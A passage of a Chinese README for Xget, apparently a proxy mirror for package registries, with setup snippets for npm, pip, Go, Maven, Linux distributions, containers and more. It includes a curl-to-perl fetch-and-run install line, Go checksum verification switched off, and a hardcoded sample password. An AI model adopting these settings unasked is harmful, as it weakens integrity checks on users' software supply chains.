# 获取模型信息
def get_model_info(model_id):
"""获取 Civitai 模型信息"""
url = f"{base_url}/api/v1/models/{model_id}"
response = requests.get(url)
return response.json()
# 下载模型
def download_model(model_version_id, output_path):
"""下载 Civitai 模型文件"""
download_url = f"{base_url}/api/download/models/{model_version_id}"
print(f"正在下载模型版本 {model_version_id}...")
response = requests.get(download_url, stream=True)
response.raise_for_status()
with open(output_path, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
print(f"模型已下载到: {output_path}")
# 使用示例
model_id = 7240 # 示例模型 ID
model_info = get_model_info(model_id)
print(f"模型名称: {model_info['name']}")
# 下载第一个模型版本
if model_info['modelVersions']:
version_id = model_info['modelVersions'][0]['id']
download_model(version_id, f"model_{version_id}.safetensors")
```
### npm 包管理加速
#### 配置 npm 使用 Xget 镜像
```bash
# 临时使用 Xget 镜像
npm install --registry https://xget.xi-xu.me/npm/
# 全局配置 npm 镜像
npm config set registry https://xget.xi-xu.me/npm/
# 验证配置
npm config get registry
```
#### 配置 Bun 使用 Xget 镜像
```toml
# bunfig.toml(项目级)或 ~/.bunfig.toml(全局)
[install]
registry = "https://xget.xi-xu.me/npm/"
```
```bash
# 使用 Bun 安装依赖
bun install
# Bun 也支持 .npmrc,可直接复用已有的 npm 镜像配置
echo "registry=https://xget.xi-xu.me/npm/" > .npmrc
bun install
```
#### 在项目中使用(npm / Bun)
```bash
# 在 .npmrc 文件中配置项目级镜像(npm / Bun 可复用)
echo "registry=https://xget.xi-xu.me/npm/" > .npmrc
# 使用 npm 安装依赖
npm install
# 使用 Bun 安装依赖
bun install
```
### Python 包管理加速
#### 配置 pip 使用 Xget 镜像
```bash
# 临时使用 Xget 镜像
pip install requests -i https://xget.xi-xu.me/pypi/simple/
# 全局配置 pip 镜像
pip config set global.index-url https://xget.xi-xu.me/pypi/simple/
pip config set global.trusted-host xget.xi-xu.me
# 验证配置
pip config list
```
#### 在项目中使用
```bash
# 创建 pip.conf 文件(Linux/macOS)
mkdir -p ~/.pip
cat > ~/.pip/pip.conf << EOF
[global]
index-url = https://xget.xi-xu.me/pypi/simple/
trusted-host = xget.xi-xu.me
EOF
# 或在项目根目录创建 pip.conf
cat > pip.conf << EOF
[global]
index-url = https://xget.xi-xu.me/pypi/simple/
trusted-host = xget.xi-xu.me
EOF
# 使用配置文件安装
pip install -r requirements.txt --config-file pip.conf
```
#### 在 requirements.txt 中指定镜像
```txt
# requirements.txt
--index-url https://xget.xi-xu.me/pypi/simple/
--trusted-host xget.xi-xu.me
requests>=2.25.0
numpy>=1.21.0
pandas>=1.3.0
matplotlib>=3.4.0
```
### conda 包管理加速
#### 配置 conda 使用 Xget 镜像
```bash
# 配置默认频道镜像
conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/msys2
conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/r
conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/main
# 配置所有社区频道镜像(推荐)
conda config --set channel_alias https://xget.xi-xu.me/conda/community
# 或配置特定社区频道
conda config --add channels https://xget.xi-xu.me/conda/community/conda-forge
conda config --add channels https://xget.xi-xu.me/conda/community/bioconda
# 设置频道优先级
conda config --set channel_priority strict
# 验证配置
conda config --show
```
#### 在 .condarc 中配置
.condarc 文件可以放在用户主目录(`~/.condarc`)或项目根目录下:
```yaml
default_channels:
- https://xget.xi-xu.me/conda/pkgs/main
- https://xget.xi-xu.me/conda/pkgs/r
- https://xget.xi-xu.me/conda/pkgs/msys2
channel_alias: https://xget.xi-xu.me/conda/community
channel_priority: strict
show_channel_urls: true
```
#### 使用环境文件
环境文件中可以直接指定完整的镜像 URL:
```yaml
# environment.yml
name: myproject
channels:
- https://xget.xi-xu.me/conda/pkgs/main
- https://xget.xi-xu.me/conda/pkgs/r
- https://xget.xi-xu.me/conda/community/bioconda
- https://xget.xi-xu.me/conda/community/conda-forge
dependencies:
- python=3.11
- numpy>=1.24.0
- pandas>=2.0.0
- matplotlib>=3.7.0
- scipy>=1.10.0
- pip
- pip:
- requests>=2.28.0
```
```bash
# 使用环境文件创建环境
conda env create -f environment.yml
# 更新环境
conda env update -f environment.yml
```
### Maven 包管理加速
#### 配置 Maven 使用 Xget 镜像
```xml
xget-maven-central
central
Xget Maven Central Mirror
https://xget.xi-xu.me/maven/maven2
```
#### 在项目中使用
```xml
xget-maven-central
Xget Maven Central
https://xget.xi-xu.me/maven/maven2
xget-maven-central
Xget Maven Central
https://xget.xi-xu.me/maven/maven2
```
```bash
# 使用命令行指定镜像
mvn clean install -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2
# 下载特定依赖
mvn dependency:get -Dartifact=org.springframework:spring-core:5.3.21 \
-DremoteRepositories=https://xget.xi-xu.me/maven/maven2
```
### Apache 软件下载加速
#### 使用 Xget 下载 Apache 软件
```bash
# 下载 Apache Kafka
wget https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz
# 下载 Apache Maven
curl -L -O https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz
# 下载 Apache Spark
aria2c https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz
# 下载 Apache Hadoop
wget https://xget.xi-xu.me/apache/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz
# 下载 Apache Flink
curl -L -O https://xget.xi-xu.me/apache/flink/flink-1.18.1/flink-1.18.1-bin-scala_2.12.tgz
```
#### 常用 Apache 软件下载
```bash
# 大数据相关
wget https://xget.xi-xu.me/apache/hive/hive-3.1.3/apache-hive-3.1.3-bin.tar.gz
wget https://xget.xi-xu.me/apache/hbase/2.5.7/hbase-2.5.7-bin.tar.gz
wget https://xget.xi-xu.me/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz
# Web 服务器
wget https://xget.xi-xu.me/apache/httpd/httpd-2.4.59.tar.gz
wget https://xget.xi-xu.me/apache/tomcat/tomcat-10/v10.1.19/bin/apache-tomcat-10.1.19.tar.gz
# 开发工具
wget https://xget.xi-xu.me/apache/ant/1.10.14/apache-ant-1.10.14-bin.tar.gz
wget https://xget.xi-xu.me/apache/netbeans/netbeans/20/netbeans-20-bin.zip
```
### Gradle 包管理加速
#### 配置 Gradle 使用 Xget 镜像
```gradle
// 在 build.gradle 中配置 Gradle 镜像
repositories {
maven {
url 'https://xget.xi-xu.me/maven/maven2'
}
gradlePluginPortal {
url 'https://xget.xi-xu.me/gradle/m2'
}
}
// 配置插件存储库
pluginManagement {
repositories {
maven {
url 'https://xget.xi-xu.me/gradle/m2'
}
gradlePluginPortal()
}
}
```
#### 全局配置
```gradle
// 在 ~/.gradle/init.gradle 中配置全局镜像
allprojects {
repositories {
maven {
url 'https://xget.xi-xu.me/maven/maven2'
}
}
}
settingsEvaluated { settings ->
settings.pluginManagement {
repositories {
maven {
url 'https://xget.xi-xu.me/gradle/m2'
}
gradlePluginPortal()
}
}
}
```
```bash
# 使用命令行指定镜像
gradle build -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2
# 刷新依赖
gradle build --refresh-dependencies
```
### Homebrew 包管理加速
#### 配置 Homebrew 使用 Xget 镜像
```bash
# 设置 Homebrew 环境变量使用 Xget 镜像
export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"
export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"
export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"
export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"
# 更新 Homebrew
brew update
```
#### 长期配置
```bash
# 为 bash 用户添加到 ~/.bash_profile
echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.bash_profile
echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.bash_profile
echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.bash_profile
echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.bash_profile
# 为 zsh 用户添加到 ~/.zprofile
echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.zprofile
echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.zprofile
echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.zprofile
echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.zprofile
```
#### 在项目中使用
```bash
# 安装软件包
brew install git
# 搜索软件包
brew search python
# 更新软件包
brew upgrade
# 查看已安装软件包
brew list
```
#### 验证镜像配置
```bash
# 检查 Homebrew 配置
brew config
# 查看环境变量
echo $HOMEBREW_API_DOMAIN
echo $HOMEBREW_BOTTLE_DOMAIN
```
### Ruby 包管理加速
#### 配置 RubyGems 使用 Xget 镜像
```bash
# 临时使用 Xget 镜像
gem install rails --source https://xget.xi-xu.me/rubygems/
# 全局配置 RubyGems 镜像
gem sources --add https://xget.xi-xu.me/rubygems/
gem sources --remove https://rubygems.org/
# 验证配置
gem sources -l
```
#### 在项目中使用
```ruby
# 在 Gemfile 中配置项目级镜像
source 'https://xget.xi-xu.me/rubygems/'
gem 'rails', '~> 7.0.0'
gem 'pg', '~> 1.1'
gem 'puma', '~> 5.0'
```
```bash
# 使用 bundle 安装
bundle config mirror.https://rubygems.org https://xget.xi-xu.me/rubygems/
bundle install
```
### R 包管理加速
#### 配置 R 使用 Xget CRAN 镜像
```r
# 在 R 中临时使用 Xget CRAN 镜像
install.packages("ggplot2", repos = "https://xget.xi-xu.me/cran/")
# 全局配置 CRAN 镜像
options(repos = c(CRAN = "https://xget.xi-xu.me/cran/"))
# 验证配置
getOption("repos")
```
#### 在 .Rprofile 中配置
```r
# 在用户主目录的 .Rprofile 文件中配置全局镜像
options(repos = c(
CRAN = "https://xget.xi-xu.me/cran/",
BioCsoft = "https://bioconductor.org/packages/release/bioc",
BioCann = "https://bioconductor.org/packages/release/data/annotation",
BioCexp = "https://bioconductor.org/packages/release/data/experiment"
))
# 设置下载方法
options(download.file.method = "libcurl")
```
#### 在项目中使用
```r
# 在项目的 renv.lock 或脚本中指定镜像
renv::init()
renv::settings$repos.override(c(CRAN = "https://xget.xi-xu.me/cran/"))
# 安装包
install.packages(c("dplyr", "ggplot2", "tidyr"))
# 或使用 pak 包管理器
pak::pkg_install("tidyverse", repos = "https://xget.xi-xu.me/cran/")
```
```bash
# 在命令行中使用 R 脚本安装包
Rscript -e "options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')); install.packages('ggplot2')"
# 批量安装包
Rscript -e "
options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/'))
packages <- c('dplyr', 'ggplot2', 'tidyr', 'readr')
install.packages(packages)
"
```
### Perl 包管理加速
#### 配置 CPAN 使用 Xget 镜像
```bash
# 配置 CPAN 使用 Xget 镜像
cpan o conf urllist push https://xget.xi-xu.me/cpan/
cpan o conf commit
# 或者直接编辑配置文件 ~/.cpan/CPAN/MyConfig.pm
# 添加:
# 'urllist' => [q[https://xget.xi-xu.me/cpan/]],
```
#### 使用 cpanm 安装模块
```bash
# 安装 cpanm(如果没有)
curl -L https://cpanmin.us | perl - --sudo App::cpanminus
# 使用 Xget 镜像安装模块
cpanm --mirror https://xget.xi-xu.me/cpan/ DBI
cpanm --mirror https://xget.xi-xu.me/cpan/ Mojolicious
# 从 Makefile.PL 安装依赖
cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .
```
#### 在项目中使用
```perl
# 在 cpanfile 中列出依赖
requires 'DBI';
requires 'Mojolicious';
requires 'JSON';
# 然后使用 Xget 镜像安装
cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .
```
### TeX/LaTeX 包管理加速
#### 配置 TeX Live 使用 Xget CTAN 镜像
```bash
# 配置 tlmgr 使用 Xget CTAN 镜像
tlmgr option repository https://xget.xi-xu.me/ctan/systems/texlive/tlnet
# 更新包数据库
tlmgr update --self --all
# 安装包
tlmgr install beamer
tlmgr install tikz
```
#### 配置 MiKTeX 使用 Xget 镜像
```bash
# Windows MiKTeX 配置
mpm --set-repository=https://xget.xi-xu.me/ctan/systems/win32/miktex
# 更新包数据库
mpm --update-db
# 安装包
mpm --install=beamer
mpm --install=pgf
```
#### 在项目中使用
```bash
# LaTeX 文档编译时自动安装缺失包
pdflatex --shell-escape document.tex
# 或手动安装特定包
tlmgr install caption
tlmgr install subcaption
tlmgr install algorithm2e
```
### Go 模块加速
#### 配置 Go 使用 Xget 代理
```bash
# 配置 Go 模块代理
export GOPROXY=https://xget.xi-xu.me/golang,direct
export GOSUMDB=off
# 或者永久配置
go env -w GOPROXY=https://xget.xi-xu.me/golang,direct
go env -w GOSUMDB=off
# 验证配置
go env GOPROXY
```
#### 在项目中使用
```bash
# 下载依赖
go mod download
# 更新依赖
go get -u ./...
# 清理模块缓存
go clean -modcache
```
### NuGet 包管理加速
#### 配置 NuGet 使用 Xget 镜像
```bash
# 添加 Xget 包源
dotnet nuget add source https://xget.xi-xu.me/nuget/v3/index.json -n xget
# 列出包源
dotnet nuget list source
# 在项目中使用
dotnet restore --source https://xget.xi-xu.me/nuget/v3/index.json
```
#### 在 NuGet.Config 中配置
```xml
```
### Rust 包管理加速
#### 配置 Cargo 使用 Xget 镜像
```bash
# 配置 Cargo 使用 Xget 镜像(在 ~/.cargo/config.toml 中)
mkdir -p ~/.cargo
cat >> ~/.cargo/config.toml << EOF
[source.crates-io]
replace-with = "xget"
[source.xget]
registry = "https://xget.xi-xu.me/crates/"
EOF
# 验证配置
cargo search serde
```
#### 在项目中使用
```toml
# 在 Cargo.toml 中可以正常使用依赖
[dependencies]
serde = "1.0"
tokio = "1.0"
reqwest = "0.11"
```
```bash
# 构建项目时会自动使用 Xget
cargo build
# 更新依赖
cargo update
# 添加新依赖
cargo add clap
```
### PHP 包管理加速
#### 配置 Composer 使用 Xget 镜像
```bash
# 全局配置 Composer 镜像
composer config -g repo.packagist composer https://xget.xi-xu.me/packagist/
# 项目级配置
composer config repo.packagist composer https://xget.xi-xu.me/packagist/
# 验证配置
composer config -l
```
#### 在 composer.json 中配置
```json
{
"repositories": [
{
"type": "composer",
"url": "https://xget.xi-xu.me/packagist/"
}
],
"require": {
"symfony/console": "^6.0",
"guzzlehttp/guzzle": "^7.0"
}
}
```
### Flathub 存储库镜像
#### 配置 Flatpak / Flathub 使用 Xget 镜像
```bash
# 如果之前从未添加过 Flathub,请先导入官方描述文件,
# 让 Flatpak 信任 Flathub 的签名密钥。
flatpak remote-add --if-not-exists flathub \
https://dl.flathub.org/repo/flathub.flatpakrepo
# 然后把现有 Flathub 远程仓库改写到 Xget 镜像
flatpak remote-modify flathub \
--url=https://xget.xi-xu.me/flathub/repo/
# 需要时恢复默认上游地址
flatpak remote-modify flathub \
--url=https://dl.flathub.org/repo/
```
Xget 镜像的是 Flathub 的 OSTree 仓库端点。根据当前 Flatpak 客户端的实际行为,直接导入镜像
`.flatpakrepo`
描述文件,或者直接添加镜像仓库 URL,仍然可能回退到上游 Flathub 地址,或者因为未导入签名密钥而失败,因此更可靠的做法是先添加官方 Flathub,再通过
`flatpak remote-modify ... --url=...`
改写远程地址。若你使用系统级远程仓库,请在相同命令前加上 `sudo`。
#### 支持的 Flathub 服务
```url
# OSTree 存储库元数据
https://xget.xi-xu.me/flathub/repo/config
https://xget.xi-xu.me/flathub/repo/summary
https://xget.xi-xu.me/flathub/repo/summary.sig
https://xget.xi-xu.me/flathub/repo/summary.idx
https://xget.xi-xu.me/flathub/repo/summaries/...
# Flatpak 远程仓库描述文件
https://xget.xi-xu.me/flathub/repo/flathub.flatpakrepo
# 应用引用描述文件
https://xget.xi-xu.me/flathub/repo/appstream/[应用 ID].flatpakref
# 存储库对象与静态增量
https://xget.xi-xu.me/flathub/repo/objects/...
https://xget.xi-xu.me/flathub/repo/deltas/...
https://xget.xi-xu.me/flathub/repo/delta-indexes/...
```
#### 使用示例
```bash
# 确认保存下来的远程仓库 URL 已经指向 Xget
flatpak remotes --show-details
# 查看远程仓库内容
flatpak remote-ls flathub
# 在改写 Flathub 远程仓库后安装应用
flatpak install flathub org.gnome.gedit
# 直接通过重写后的 .flatpakref 安装
flatpak install --from \
https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref
# 排查问题时打印 libcurl HTTP 调试输出
OSTREE_DEBUG_HTTP=1 flatpak remote-ls flathub
# 更新已安装的应用和运行时
flatpak update
```
### Linux 发行版加速
#### Debian/Ubuntu APT 配置
```bash
# 备份原始源列表
sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup
# 配置 Debian 镜像
echo "deb https://xget.xi-xu.me/debian/debian bookworm main" | sudo tee /etc/apt/sources.list
echo "deb https://xget.xi-xu.me/debian/debian-security bookworm-security main" | sudo tee -a /etc/apt/sources.list
# 配置 Ubuntu 镜像
echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy main restricted universe multiverse" | sudo tee /etc/apt/sources.list
echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy-updates main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list
# 更新包列表
sudo apt update
```
#### Fedora DNF 配置
```bash
# 配置 Fedora 镜像
sudo sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/fedora*.repo
sudo sed -i 's|^#baseurl=http://download.example/pub/fedora/linux|baseurl=https://xget.xi-xu.me/fedora/pub/fedora/linux|g' /etc/yum.repos.d/fedora*.repo
# 更新包缓存
sudo dnf makecache
```
#### Rocky Linux DNF 配置
```bash
# 配置 Rocky Linux 镜像
sudo sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/rocky*.repo
sudo sed -i 's|^#baseurl=http://dl.rockylinux.org|baseurl=https://xget.xi-xu.me/rocky|g' /etc/yum.repos.d/rocky*.repo
# 更新包缓存
sudo dnf makecache
```
#### openSUSE Zypper 配置
```bash
# 配置 openSUSE Leap 镜像
sudo zypper mr -d repo-oss
sudo zypper ar -f https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/ repo-oss-xget
# 配置 openSUSE Tumbleweed 镜像
sudo zypper mr -d repo-oss
sudo zypper ar -f https://xget.xi-xu.me/opensuse/tumbleweed/repo/oss/ repo-oss-xget
# 刷新软件源
sudo zypper refresh
# 验证配置
sudo zypper lr -u
```
#### Arch Linux Pacman 配置
```bash
# 备份原始镜像列表
sudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.backup
# 配置 Arch Linux 镜像
echo 'Server = https://xget.xi-xu.me/arch/$repo/os/$arch' | sudo tee /etc/pacman.d/mirrorlist
# 更新包数据库
sudo pacman -Sy
```
### 学术资源加速
#### arXiv 论文下载
```bash
# 下载 arXiv 论文 PDF
wget https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf
# 下载论文源码
curl -L -O https://xget.xi-xu.me/arxiv/e-print/2301.07041
# 批量下载多篇论文
for id in 2301.07041 2302.13971 2303.08774; do
wget https://xget.xi-xu.me/arxiv/pdf/${id}.pdf
done
```
#### 在学术工具中使用
```python
# 在 Python 中使用 arXiv 加速下载
import requests
def download_arxiv_paper(arxiv_id, output_path):
url = f"https://xget.xi-xu.me/arxiv/pdf/{arxiv_id}.pdf"
response = requests.get(url)
if response.status_code == 200:
with open(output_path, 'wb') as f:
f.write(response.content)
print(f"Downloaded {arxiv_id} to {output_path}")
else:
print(f"Failed to download {arxiv_id}")
# 下载论文
download_arxiv_paper("2301.07041", "attention_is_all_you_need.pdf")
```
### F-Droid 存储库镜像
#### 配置 F-Droid 客户端使用 Xget 镜像
1. 在 F-Droid 应用中进入**设置** → **存储库**
2. 点击 **+** 后输入存储库 URL:`https://xget.xi-xu.me/fdroid/repo`
3. 点击**添加**后再点击**添加镜像**
#### 支持的 F-Droid 服务
```url
# F-Droid 应用 APK 下载
https://xget.xi-xu.me/fdroid/repo/[包名]_[版本号].apk
# F-Droid 存储库索引
https://xget.xi-xu.me/fdroid/repo/index-v1.jar
# F-Droid 应用图标
https://xget.xi-xu.me/fdroid/repo/icons-640/[包名].[版本号].png
# F-Droid API 接口
https://xget.xi-xu.me/fdroid/api/v1/packages/[包名]
```
#### 使用示例
```bash
# 直接下载 F-Droid 客户端 APK
wget https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk
# 下载其他开源应用
curl -L -O https://xget.xi-xu.me/fdroid/repo/org.mozilla.fennec_fdroid_1014000.apk
# 获取应用信息
curl https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid
```
#### 批量应用管理
```bash
# 创建应用下载脚本
cat > download_fdroid_apps.sh << 'EOF'
#!/bin/bash
# 定义要下载的应用列表
apps=(
"org.fdroid.fdroid_1016050.apk"
"org.mozilla.fennec_fdroid_1014000.apk"
"com.termux_1180.apk"
"org.videolan.vlc_13050399.apk"
)
# 创建下载目录
mkdir -p fdroid_apps
# 批量下载应用
for app in "${apps[@]}"; do
echo "正在下载: $app"
wget -P fdroid_apps "https://xget.xi-xu.me/fdroid/repo/$app"
done
echo "所有应用下载完成!"
EOF
chmod +x download_fdroid_apps.sh
./download_fdroid_apps.sh
```
#### 开发者集成
对于 Android 开发者,可以在构建脚本中集成 F-Droid 镜像:
```gradle
// 在 build.gradle 中配置 F-Droid 依赖检查
task checkFDroidAvailability {
doLast {
def fdroidUrl = "https://xget.xi-xu.me/fdroid/api/v1/packages/${project.name}"
try {
def connection = new URL(fdroidUrl).openConnection()
connection.requestMethod = 'GET'
def responseCode = connection.responseCode
if (responseCode == 200) {
println "应用在 F-Droid 上可用: $fdroidUrl"
}
} catch (Exception e) {
println "检查 F-Droid 可用性时出错: ${e.message}"
}
}
}
```
### Jenkins 插件下载
#### 使用 Xget 加速 Jenkins 插件下载和更新
支持 Jenkins 更新中心和插件下载,兼容清华镜像等国内镜像源的配置方式。
#### Jenkins 更新中心配置
##### 方法一:在 Jenkins Web 界面配置
1. 登录 Jenkins 管理界面
2. 进入 **Manage Jenkins** → **Plugins** → **Advanced**
3. 在 **Update Site** 部分,将 URL 更改为
`https://xget.xi-xu.me/jenkins/update-center.json`
4. 点击 **Submit** 保存配置
##### 方法二:修改配置文件
```bash
# 在 Jenkins 服务器上修改更新中心配置文件
# 默认位置:$JENKINS_HOME/hudson.model.UpdateCenter.xml
sudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml
# 将 URL 改为:
# https://xget.xi-xu.me/jenkins/update-center.json
# 重启 Jenkins 服务
sudo systemctl restart jenkins
```
#### 支持的 Jenkins 服务
```url
# Jenkins 更新中心 JSON
https://xget.xi-xu.me/jenkins/update-center.json
# Jenkins 更新中心(实际 JSON 格式)
https://xget.xi-xu.me/jenkins/update-center.actual.json
# Jenkins 插件下载
https://xget.xi-xu.me/jenkins/download/plugins/[插件名]/[版本]/[插件名].hpi
# 实验性插件更新中心
https://xget.xi-xu.me/jenkins/experimental/update-center.json
```
#### 使用示例
```bash
# 下载 Maven 插件
wget https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi
# 下载 Git 插件
curl -L -O https://xget.xi-xu.me/jenkins/download/plugins/git/5.2.1/git.hpi
# 获取更新中心信息
curl https://xget.xi-xu.me/jenkins/update-center.json
# 批量下载常用插件
cat > download_jenkins_plugins.sh << 'EOF'
#!/bin/bash
# 定义要下载的插件列表
plugins=(
"git:5.2.1"
"maven-plugin:3.27"
"workflow-aggregator:596.v8c21c963d92d"
"blueocean:1.27.8"
"docker-workflow:563.vd5d2e5c4007f"
)
# 创建插件下载目录
mkdir -p jenkins_plugins
# 批量下载插件
for plugin in "${plugins[@]}"; do
name=$(echo $plugin | cut -d: -f1)
version=$(echo $plugin | cut -d: -f2)
echo "正在下载插件: $name v$version"
wget -P jenkins_plugins "https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi"
done
echo "所有插件下载完成!"
EOF
chmod +x download_jenkins_plugins.sh
./download_jenkins_plugins.sh
```
#### 离线 Jenkins 部署
对于无网络环境的 Jenkins 部署:
```bash
# 1. 下载 Jenkins 核心文件
wget https://xget.xi-xu.me/jenkins/war/jenkins.war
# 2. 创建插件打包脚本
cat > prepare_jenkins_offline.sh << 'EOF'
#!/bin/bash
# 创建离线部署目录结构
mkdir -p jenkins_offline/{plugins,update_center}
# 下载更新中心配置
curl -o jenkins_offline/update_center/update-center.json \
https://xget.xi-xu.me/jenkins/update-center.json
# 必备插件列表
essential_plugins=(
"ant:475.vf34069fef73c"
"build-timeout:1.31"
"credentials:1319.v7eb_51b_3a_c97b_"
"git:5.2.1"
"github:1.38.0"
"gradle:2.8.2"
"ldap:682.v7b_544c9d1512"
"mailer:463.vedf8358e006b_"
"matrix-auth:3.2.2"
"maven-plugin:3.27"
"pam-auth:1.10"
"pipeline-stage-view:2.34"
"ssh-slaves:2.973.v0fa_8c0dea_f9f"
"timestamper:1.26"
"workflow-aggregator:596.v8c21c963d92d"
"ws-cleanup:0.45"
)
# 下载所有必备插件
for plugin in "${essential_plugins[@]}"; do
name=$(echo $plugin | cut -d: -f1)
version=$(echo $plugin | cut -d: -f2)
echo "下载 $name:$version"
wget -P jenkins_offline/plugins \
"https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi"
done
# 创建部署说明
cat > jenkins_offline/deploy_instructions.md << 'DEPLOY'
# Jenkins 离线部署说明
1. 将 jenkins.war 复制到目标服务器
2. 启动 Jenkins:java -jar jenkins.war
3. 将 plugins/ 目录中的 .hpi 文件复制到 $JENKINS_HOME/plugins/
4. 重启 Jenkins
DEPLOY
echo "离线部署包准备完成!"
EOF
chmod +x prepare_jenkins_offline.sh
./prepare_jenkins_offline.sh
```
#### 在项目中使用
##### Jenkinsfile 中的插件检查
```groovy
pipeline {
agent any
stages {
stage('Check Plugin Availability') {
steps {
script {
// 检查 Maven 插件可用性
def pluginUrl = "https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi"
try {
def response = httpRequest url: pluginUrl, httpMode: 'HEAD'
if (response.status == 200) {
echo "Maven 插件可用: ${pluginUrl}"
}
} catch (Exception e) {
error "Maven 插件不可用: ${e.message}"
}
}
}
}
stage('Build') {
steps {
// 你的构建步骤
echo "使用加速后的插件进行构建..."
}
}
}
}
```
### 容器镜像加速
#### 直接拉取镜像
```bash
# 拉取 GitHub 容器注册表镜像
docker pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
# 拉取谷歌容器注册表镜像
docker pull xget.xi-xu.me/cr/gcr/distroless/base:latest
# 拉取微软容器注册表镜像
docker pull xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0
```
#### Kubernetes 部署配置
```yaml
# deployment.yaml - 使用 Xget 的镜像
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
ports:
- containerPort: 80
- name: redis
image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine
ports:
- containerPort: 6379
```
#### Docker Compose 配置
```yaml
# docker-compose.yml - 使用 Xget 加速镜像
version: '3.8'
services:
web:
image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
ports:
- '80:80'
volumes:
- ./html:/usr/share/nginx/html
database:
image: xget.xi-xu.me/cr/mcr/mssql/server:2022-latest
environment:
ACCEPT_EULA: Y
SA_PASSWORD: 'MyStrongPassword123!'
volumes:
- mssql_data:/var/opt/mssql
cache:
image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine
ports:
- '6379:6379'
volumes:
mssql_data:
```
#### Dockerfile 优化
```dockerfile
# 在 Dockerfile 中使用 Xget 加速基础镜像
FROM xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
RUN npm run build
# 生产阶段
FROM xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
COPY --from=builder /app/dist /usr/share/nginx/html
# 使用微软容器注册表的 .NET 镜像
FROM xget.xi-xu.me/cr/mcr/dotnet/aspnet:8.0 AS runtime
WORKDIR /app
COPY --from=builder /app/publish .
ENTRYPOINT ["dotnet", "MyApp.dll"]
```
#### CI/CD 集成
```yaml
# GitHub Actions - 使用 Xget 加速容器构建
name: Build and Deploy
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build with accelerated base images
run: |
# 构建时使用 Xget 的基础镜像
docker build -t myapp:latest \
--build-arg BASE_IMAGE=xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine .
- name: Test with accelerated images
run: |
# 使用加速镜像进行测试
docker run --rm \
xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 \
dotnet --version
```
#### Podman 配置
```bash
# 配置 Podman 使用 Xget 镜像加速
# 编辑 /etc/containers/registries.conf
[[registry]]
prefix = "ghcr.io"
location = "xget.xi-xu.me/cr/ghcr"
# 或者直接拉取
podman pull xget.xi-xu.me/cr/ghcr/alpine/alpine:latest
podman pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
```
#### containerd 配置
```toml
# 配置 containerd 使用 Xget
# 编辑 /etc/containerd/config.toml
